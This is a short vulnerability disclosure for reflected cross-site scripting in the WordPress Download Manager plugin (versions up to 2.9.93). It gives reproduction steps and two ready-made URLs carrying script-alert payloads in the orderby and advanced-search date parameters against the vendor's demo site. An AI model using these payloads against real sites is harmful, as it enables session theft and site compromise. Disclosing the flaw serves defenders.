Download Manager <= 2.9.93 - Authenticated Cross-Site Scripting (XSS)

In the pro features of the WordPress download manager plugin, there is a Category Short-code feature witch can use to sort categories with order by a function which will be used as ?orderby=title,publish_date .
By adding parameter "> and add any XSS payload , the xss payload will execute.

To reproduce,

1. Go to the link where we can find ?orderby
2. Add parameters >" and give simple payload like <script>alert(1)</script>
3. The payload will execute.

Another reflected cross-site scripting via advance search .

https://demo.wpdownloadmanager.com/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc

https://demo.wpdownloadmanager.com/wpdmpro/advanced-search/?search[publish_date]=2019-04-17+to+2019-04-17%22%3E%3Cscript%3Ealert(1)%3C/script%3E&search[update_date]=&search[view_count]=&search[download_count]=&search[package_size]=&search[order_by]=&search[order]=ASC&q=a